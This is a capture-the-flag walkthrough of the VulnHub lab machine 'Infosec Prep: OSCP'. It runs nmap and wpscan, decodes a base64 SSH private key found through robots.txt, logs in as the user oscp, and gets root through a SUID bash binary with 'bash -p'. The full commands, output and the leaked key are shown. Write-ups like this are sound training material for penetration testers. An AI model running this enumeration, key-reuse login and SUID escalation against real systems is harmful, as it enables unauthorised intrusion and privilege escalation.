Return to Main Page

Infosec Prep: OSCP Walkthrough


Contents

Summary

This box was very easy. We begin with a wordpress site. Shortly after, we find /robots.txt that directs us to a private SSH key. Upon running linpeas we find bash set with the SUID bit. We get root.

Port Scanning

  • Running a port scan against the full port range to determine which ones are open.
  • # Nmap 7.91 scan initiated Wed Sep 29 11:22:43 2021 as: nmap -p- -oN ping_tcp 10.0.0.23
    Nmap scan report for 10.0.0.23
    Host is up (0.00086s latency).
    Not shown: 65532 closed ports
    PORT      STATE SERVICE
    22/tcp    open  ssh
    80/tcp    open  http
    33060/tcp open  mysqlx
    MAC Address: 00:0C:29:F6:73:1F (VMware)
    
    # Nmap done at Wed Sep 29 11:22:51 2021 -- 1 IP address (1 host up) scanned in 8.12 seconds
        
  • Running an nmap scan using the flags -sV and -sC to enumerate service versions and other information.
  • # Nmap 7.91 scan initiated Wed Sep 29 11:23:17 2021 as: nmap -p22,80,33060 -sV -sC -oN script_tcp 10.0.0.23
    Nmap scan report for 10.0.0.23
    Host is up (0.00018s latency).
    
    PORT      STATE SERVICE VERSION
    22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 91:ba:0d:d4:39:05:e3:13:55:57:8f:1b:46:90:db:e4 (RSA)
    |   256 0f:35:d1:a1:31:f2:f6:aa:75:e8:17:01:e7:1e:d1:d5 (ECDSA)
    |_  256 af:f1:53:ea:7b:4d:d7:fa:d8:de:0d:f2:28:fc:86:d7 (ED25519)
    80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-generator: WordPress 5.4.2
    | http-robots.txt: 1 disallowed entry 
    |_/secret.txt
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: OSCP Voucher – Just another WordPress site
    33060/tcp open  mysqlx?
    | fingerprint-strings: 
    |   LDAPSearchReq, SSLSessionReq, TLSSessionReq: 
    |     Invalid message"
    |_    HY000
    1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
    SF-Port33060-TCP:V=7.91%I=7%D=9/29%Time=615484F2%P=x86_64-pc-linux-gnu%r(N
    SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
    SF:x08\x05\x1a\0")%r(HTTPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RPCCh
    SF:eck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersionBindReqTCP,9,"\x05\0\
    SF:0\0\x0b\x08\x05\x1a\0")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SSLS
    SF:essionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x8
    SF:8'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TLSSessionReq,2B,"\x05\0\0\
    SF:0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20me
    SF:ssage\"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBPr
    SF:ogNeg,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(FourOhFourRequest,9,"\x05\0\0
    SF:\0\x0b\x08\x05\x1a\0")%r(LPDString,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(
    SF:LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x1
    SF:0\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\
    SF:x0b\x08\x05\x1a\0")%r(afp,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(giop,9,"\
    SF:x05\0\0\0\x0b\x08\x05\x1a\0");
    MAC Address: 00:0C:29:F6:73:1F (VMware)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Wed Sep 29 11:25:34 2021 -- 1 IP address (1 host up) scanned in 136.80 seconds
        

    Information Gathering

  • We start with the web server where we are presented with a wordpress site. At the bottom of the post on the main page it tells us the only user on the box is oscp.
  • Heya! Welcome to the hunt.
    
    In order to enter the give away, you must obtain the root flag located in /root/. Once you’ve obtained the flag, message the TryHarder bot with the command !flag . It will then validate the flag for verification. Should it be incorrect, it will let you know. If it’s correct, you will be given a new role on the server where you can chat with others in a private channel. Once you’ve received the role you are entered into the give away!
    
    You must be a member of the server in order to use the command above.
    
    For those downloading this box off vulnhub at a later time, the command above will no longer be available.
    
    Oh yea! Almost forgot the only user on this box is “oscp”.
    
    A big thank you to Offensive Security for providing the voucher.
    
    Happy Hunting
    
    -FalconSpy & InfoSec Prep Discord Server
    
    ( https://discord.gg/RRgKaep )
        
  • Next I run wpscan and it lets us know that robots.txt exists.
  • ┌──(kali㉿kali)-[~/Documents/VulnHub/Infosec_Prep_OSCP/exfiltrated]
    └─$ wpscan --url http://10.0.0.23                                                                             130 ⨯
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.18
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [+] URL: http://10.0.0.23/ [10.0.0.23]
    [+] Started: Wed Sep 29 12:09:15 2021
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    [+] robots.txt found: http://10.0.0.23/robots.txt
     | Found By: Robots Txt (Aggressive Detection)
     | Confidence: 100%
    
                    (Lines Removed)
        

    Shell - oscp

  • Robots.txt directs us to /secret.txt
  • User-Agent: *
    Disallow: /secret.txt
        
  • Secret.txt appears to be base64, so I decode it.
  • ┌──(kali㉿kali)-[~/Documents/VulnHub/Infosec_Prep_OSCP/exfiltrated]
    └─$ echo -n "LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
    QUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUJsd0FBQUFkemMyZ3RjbgpOaEFBQUFB
    d0VBQVFBQUFZRUF0SENzU3pIdFVGOEs4dGlPcUVDUVlMcktLckNSc2J2cTZpSUc3UjlnMFdQdjl3
    K2drVVdlCkl6QlNjdmdsTEU5ZmxvbHNLZHhmTVFRYk1WR3FTQURuWUJUYXZhaWdRZWt1ZTBiTHNZ
    ay9yWjVGaE9VUlpMVHZkbEpXeHoKYklleUM1YTVGMERsOVVZbXpDaGU0M3owRG8waVF3MTc4R0pV
    UWFxc2NMbUVhdHFJaVQvMkZrRitBdmVXM2hxUGZicnc5dgpBOVFBSVVBM2xlZHFyOFhFelkvL0xx
    MCtzUWcvcFV1MEtQa1kxOGk2dm5maVlIR2t5VzFTZ3J5UGg1eDlCR1RrM2VSWWNOCnc2bURiQWpY
    S0tDSEdNK2RubkdOZ3ZBa3FUK2daV3ovTXB5MGVrYXVrNk5QN05Dek9STnJJWEFZRmExcld6YUV0
    eXBId1kKa0NFY2ZXSkpsWjcrZmNFRmE1QjdnRXd0L2FLZEZSWFBRd2luRmxpUU1ZTW1hdThQWmJQ
    aUJJcnh0SVlYeTNNSGNLQklzSgowSFNLditIYktXOWtwVEw1T29Ba0I4ZkhGMzB1alZPYjZZVHVj
    MXNKS1dSSElaWTNxZTA4STJSWGVFeEZGWXU5b0x1ZzBkCnRIWWRKSEZMN2NXaU52NG1SeUo5UmNy
    aFZMMVYzQ2F6TlpLS3dyYVJBQUFGZ0g5SlFMMS9TVUM5QUFBQ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FVPT1BMMWNJUHp0MGh6RVJMajJx
    djlEVWVsVE9VcmFuTwpjVVdyUGdyelZHVCtRdmtrakdKRlgrcjh0R1dDQU9RUlVBQUFEQkFNMGNS
    aERvd09GeDUwSGtFK0hNSUoyalFJZWZ2d3BtCkJuMkZONmt3NEdMWmlWY3FVVDZhWTY4bmpMaWh0
    RHBlZVN6b3BTanlLaDEwYk53UlMwREFJTHNjV2c2eGMvUjh5dWVBZUkKUmN3ODV1ZGtoTlZXcGVy
    ZzRPc2lGWk1wd0txY01sdDhpNmxWbW9VQmpSdEJENGc1TVlXUkFOTzBOajlWV01UYlc5UkxpUgpr
    dW9SaVNoaDZ1Q2pHQ0NIL1dmd0NvZjllbkNlajRIRWo1RVBqOG5aMGNNTnZvQVJxN1ZuQ05HVFBh
    bWNYQnJmSXd4Y1ZUCjhuZksyb0RjNkxmckRtalFBQUFBbHZjMk53UUc5elkzQT0KLS0tLS1FTkQg
    T1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==" | base64 -d
    -----BEGIN OPENSSH PRIVATE KEY-----
    b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
    NhAAAAAwEAAQAAAYEAtHCsSzHtUF8K8tiOqECQYLrKKrCRsbvq6iIG7R9g0WPv9w+gkUWe
    IzBScvglLE9flolsKdxfMQQbMVGqSADnYBTavaigQekue0bLsYk/rZ5FhOURZLTvdlJWxz
    bIeyC5a5F0Dl9UYmzChe43z0Do0iQw178GJUQaqscLmEatqIiT/2FkF+AveW3hqPfbrw9v
    A9QAIUA3ledqr8XEzY//Lq0+sQg/pUu0KPkY18i6vnfiYHGkyW1SgryPh5x9BGTk3eRYcN
    w6mDbAjXKKCHGM+dnnGNgvAkqT+gZWz/Mpy0ekauk6NP7NCzORNrIXAYFa1rWzaEtypHwY
    kCEcfWJJlZ7+fcEFa5B7gEwt/aKdFRXPQwinFliQMYMmau8PZbPiBIrxtIYXy3MHcKB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xiUU5bv9ezwM4Bmko
    QPvyUcye28zwkO6tgVMZx4osrIoN9WtDUUdbdmD2UBZ2n3CZMkOV9XJxeju51kH1fs8q39
    QXfxdNhBb3Yr2RjCFULDxhwDSIHzG7gfJEDaWYcOkNkIaHHgaV7kxzypYcqLrs0S7C4QAA
    AMEAhdmD7Qu5trtBF3mgfcdqpZOq6+tW6hkmR0hZNX5Z6fnedUx//QY5swKAEvgNCKK8Sm
    iFXlYfgH6K/5UnZngEbjMQMTdOOlkbrgpMYih+ZgyvK1LoOTyMvVgT5LMgjJGsaQ5393M2
    yUEiSXer7q90N6VHYXDJhUWX2V3QMcCqptSCS1bSqvkmNvhQXMAaAS8AJw19qXWXim15Sp
    WoqdjoSWEJxKeFTwUW7WOiYC2Fv5ds3cYOR8RorbmGnzdiZgxZAAAAwQDhNXKmS0oVMdDy
    3fKZgTuwr8My5Hyl5jra6owj/5rJMUX6sjZEigZa96EjcevZJyGTF2uV77AQ2Rqwnbb2Gl
    jdLkc0Yt9ubqSikd5f8AkZlZBsCIrvuDQZCoxZBGuD2DUWzOgKMlfxvFBNQF+LWFgtbrSP
    OgB4ihdPC1+6FdSjQJ77f1bNGHmn0amoiuJjlUOOPL1cIPzt0hzERLj2qv9DUelTOUranO
    cUWrPgrzVGT+QvkkjGJFX+r8tGWCAOQRUAAADBAM0cRhDowOFx50HkE+HMIJ2jQIefvwpm
    Bn2FN6kw4GLZiVcqUT6aY68njLihtDpeeSzopSjyKh10bNwRS0DAILscWg6xc/R8yueAeI
    Rcw85udkhNVWperg4OsiFZMpwKqcMlt8i6lVmoUBjRtBD4g5MYWRANO0Nj9VWMTbW9RLiR
    kuoRiShh6uCjGCCH/WfwCof9enCej4HEj5EPj8nZ0cMNvoARq7VnCNGTPamcXBrfIwxcVT
    8nfK2oDc6LfrDmjQAAAAlvc2NwQG9zY3A=
    -----END OPENSSH PRIVATE KEY-----
        
  • We gain a private SSH key. This must be for the user oscp. I create a file called oscp_rsa and set 600 permissions on it. 600 permissions are required for private SSH keyss.
  • ┌──(kali㉿kali)-[~/Documents/VulnHub/Infosec_Prep_OSCP/exfiltrated]
    └─$ cat oscp_rsa                                                                        
    -----BEGIN OPENSSH PRIVATE KEY-----
    b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
    NhAAAAAwEAAQAAAYEAtHCsSzHtUF8K8tiOqECQYLrKKrCRsbvq6iIG7R9g0WPv9w+gkUWe
    IzBScvglLE9flolsKdxfMQQbMVGqSADnYBTavaigQekue0bLsYk/rZ5FhOURZLTvdlJWxz
    bIeyC5a5F0Dl9UYmzChe43z0Do0iQw178GJUQaqscLmEatqIiT/2FkF+AveW3hqPfbrw9v
    A9QAIUA3ledqr8XEzY//Lq0+sQg/pUu0KPkY18i6vnfiYHGkyW1SgryPh5x9BGTk3eRYcN
    w6mDbAjXKKCHGM+dnnGNgvAkqT+gZWz/Mpy0ekauk6NP7NCzORNrIXAYFa1rWzaEtypHwY
    kCEcfWJJlZ7+fcEFa5B7gEwt/aKdFRXPQwinFliQMYMmau8PZbPiBIrxtIYXy3MHcKBIsJ
    0HSKv+HbKW9kpTL5OoAkB8fHF30ujVOb6YTuc1sJKWRHIZY3qe08I2RXeExFFYu9oLug0d
    tHYdJHFL7cWiNv4mRyJ9RcrhVL1V3CazNZKKwraRAAAFgH9JQL1/SUC9AAAAB3NzaC1yc2
    EAAAGBALRwrEsx7VBfCvLYjqhAkGC6yiqwkbG76uoiBu0fYNFj7/cPoJFFniMwUnL4JSxP
    X5aJbCncXzEEGzFRqkgA52AU2r2ooEHpLntGy7GJP62eRYTlEWS073ZSVsc2yHsguWuRdA
    5fVGJswoXuN89A6NIkMNe/BiVEGqrHC5hGraiIk/9hZBfgL3lt4aj3268PbwPUACFAN5Xn
    aq/FxM2P/y6tPrEIP6VLtCj5GNfIur534mBxpMltUoK8j4ecfQRk5N3kWHDcOpg2wI1yig
    hxjPnZ5xjYLwJKk/oGVs/zKctHp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gTuwr8My5Hyl5jra6owj/5rJMUX6sjZEigZa96EjcevZJyGTF2uV77AQ2Rqwnbb2Gl
    jdLkc0Yt9ubqSikd5f8AkZlZBsCIrvuDQZCoxZBGuD2DUWzOgKMlfxvFBNQF+LWFgtbrSP
    OgB4ihdPC1+6FdSjQJ77f1bNGHmn0amoiuJjlUOOPL1cIPzt0hzERLj2qv9DUelTOUranO
    cUWrPgrzVGT+QvkkjGJFX+r8tGWCAOQRUAAADBAM0cRhDowOFx50HkE+HMIJ2jQIefvwpm
    Bn2FN6kw4GLZiVcqUT6aY68njLihtDpeeSzopSjyKh10bNwRS0DAILscWg6xc/R8yueAeI
    Rcw85udkhNVWperg4OsiFZMpwKqcMlt8i6lVmoUBjRtBD4g5MYWRANO0Nj9VWMTbW9RLiR
    kuoRiShh6uCjGCCH/WfwCof9enCej4HEj5EPj8nZ0cMNvoARq7VnCNGTPamcXBrfIwxcVT
    8nfK2oDc6LfrDmjQAAAAlvc2NwQG9zY3A=
    -----END OPENSSH PRIVATE KEY-----
                                                                                                                        
    ┌──(kali㉿kali)-[~/Documents/VulnHub/Infosec_Prep_OSCP/exfiltrated]
    └─$ chmod 600 oscp_rsa   
        
  • Now we can use it to login as oscp.
  • ┌──(kali㉿kali)-[~/Documents/VulnHub/Infosec_Prep_OSCP/exfiltrated]
    └─$ ssh oscp@10.0.0.23 -i oscp_rsa
    Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
      System information as of Wed 29 Sep 2021 04:15:21 PM UTC
    
      System load:  0.06               Processes:             211
      Usage of /:   25.6% of 19.56GB   Users logged in:       0
      Memory usage: 61%                IPv4 address for eth0: 10.0.0.23
      Swap usage:   5%
    
    
    0 updates can be installed immediately.
    0 of these updates are security updates.
    
    
    The list of available updates is more than a week old.
    To check for new updates run: sudo apt update
    Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
    
    
    Last login: Wed Sep 29 15:46:31 2021 from 10.0.0.1
    -bash-5.0$ 
        

    Shell - Root

  • We check for programs with the SUID bit set and find bash.
  • 
    -bash-5.0$ find / -perm -u=s -ls 2>/dev/null
          130    109 -rwsr-xr-x   1 root     root       110792 Apr 10  2020 /snap/snapd/7264/usr/lib/snapd/snap-confine
          130    109 -rwsr-xr-x   1 root     root       110792 Jun  5  2020 /snap/snapd/8140/usr/lib/snapd/snap-confine
           55     43 -rwsr-xr-x   1 root     root        43088 Jan  8  2020 /snap/core18/1705/bin/mount
           64     63 -rwsr-xr-x   1 root     root        64424 Jun 28  2019 /snap/core18/1705/bin/ping
           80     44 -rwsr-xr-x   1 root     root        44664 Mar 22  2019 /snap/core18/1705/bin/su
           98     27 -rwsr-xr-x   1 root     root        26696 Jan  8  2020 /snap/core18/1705/bin/umount
         1731     75 -rwsr-xr-x   1 root     root        76496 Mar 22  2019 /snap/core18/1705/usr/bin/chfn
         1733     44 -rwsr-xr-x   1 root     root        44528 Mar 22  2019 /snap/core18/1705/usr/bin/chsh
         1784     75 -rwsr-xr-x   1 root     root        75824 Mar 22  2019 /snap/core18/1705/usr/bin/gpasswd
         1848     40 -rwsr-xr-x   1 root     root        40344 Mar 22  2019 /snap/core18/1705/usr/bin/newgrp
         1860     59 -rwsr-xr-x   1 root     root        59640 Mar 22  2019 /snap/core18/1705/usr/bin/passwd
         1951    146 -rwsr-xr-x   1 root     root       149080 Jan 31  2020 /snap/core18/1705/usr/bin/sudo
         2038     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 10  2019 /snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper
         2346    427 -rwsr-xr-x   1 root     root              436552 Mar  4  2019 /snap/core18/1705/usr/lib/openssh/ssh-keysign
           55     43 -rwsr-xr-x   1 root     root               43088 Mar  5  2020 /snap/core18/1754/bin/mount
           64     63 -rwsr-xr-x   1 root     root               64424 Jun 28  2019 /snap/core18/1754/bin/ping
           80     44 -rwsr-xr-x   1 root     root               44664 Mar 22  2019 /snap/core18/1754/bin/su
           98     27 -rwsr-xr-x   1 root     root               26696 Mar  5  2020 /snap/core18/1754/bin/umount
         1730     75 -rwsr-xr-x   1 root     root               76496 Mar 22  2019 /snap/core18/1754/usr/bin/chfn
         1732     44 -rwsr-xr-x   1 root     root               44528 Mar 22  2019 /snap/core18/1754/usr/bin/chsh
         1783     75 -rwsr-xr-x   1 root     root               75824 Mar 22  2019 /snap/core18/1754/usr/bin/gpasswd
         1847     40 -rwsr-xr-x   1 root     root               40344 Mar 22  2019 /snap/core18/1754/usr/bin/newgrp
         1859     59 -rwsr-xr-x   1 root     root               59640 Mar 22  2019 /snap/core18/1754/usr/bin/passwd
         1950    146 -rwsr-xr-x   1 root     root              149080 Jan 31  2020 /snap/core18/1754/usr/bin/sudo
         2037     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 10  2019 /snap/core18/1754/usr/lib/dbus-1.0/dbus-daemon-launch-helper
         2345    427 -rwsr-xr-x   1 root     root              436552 Mar  4  2019 /snap/core18/1754/usr/lib/openssh/ssh-keysign
       917970     52 -rwsr-xr--   1 root     messagebus         51344 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
       922466    128 -rwsr-xr-x   1 root     root              130152 Jun  5  2020 /usr/lib/snapd/snap-confine
       918861     16 -rwsr-xr-x   1 root     root               14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
       919076     24 -rwsr-xr-x   1 root     root               22840 Aug 16  2019 /usr/lib/policykit-1/polkit-agent-helper-1
       935153    464 -rwsr-xr-x   1 root     root              473576 May 29  2020 /usr/lib/openssh/ssh-keysign
       918587     88 -rwsr-xr-x   1 root     root               88464 May 28  2020 /usr/bin/gpasswd
       918308     56 -rwsr-xr-x   1 root     root               55528 Apr  2  2020 /usr/bin/mount
       918156     40 -rwsr-xr-x   1 root     root               39144 Mar  7  2020 /usr/bin/fusermount
       918588     68 -rwsr-xr-x   1 root     root               68208 May 28  2020 /usr/bin/passwd
       920186     44 -rwsr-xr-x   1 root     root               44784 May 28  2020 /usr/bin/newgrp
       917977     56 -rwsr-sr-x   1 daemon   daemon             55560 Nov 12  2018 /usr/bin/at
       918578    164 -rwsr-xr-x   1 root     root              166056 Feb  3  2020 /usr/bin/sudo
       918584     84 -rwsr-xr-x   1 root     root               85064 May 28  2020 /usr/bin/chfn
       917983   1156 -rwsr-sr-x   1 root     root             1183448 Feb 25  2020 /usr/bin/bash
       918376     32 -rwsr-xr-x   1 root     root               31032 Aug 16  2019 /usr/bin/pkexec
       918647     40 -rwsr-xr-x   1 root     root               39144 Apr  2  2020 /usr/bin/umount
       918585     52 -rwsr-xr-x   1 root     root               53040 May 28  2020 /usr/bin/chsh
       918577     68 -rwsr-xr-x   1 root     root               67816 Apr  2  2020 /usr/bin/su
        
  • We can gain a root shell by executing bash with the -p flag for persitent permissions.
  • bash-5.0$ /usr/bin/bash -p
    bash-5.0# id
    uid=1000(oscp) gid=1000(oscp) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd),1000(oscp)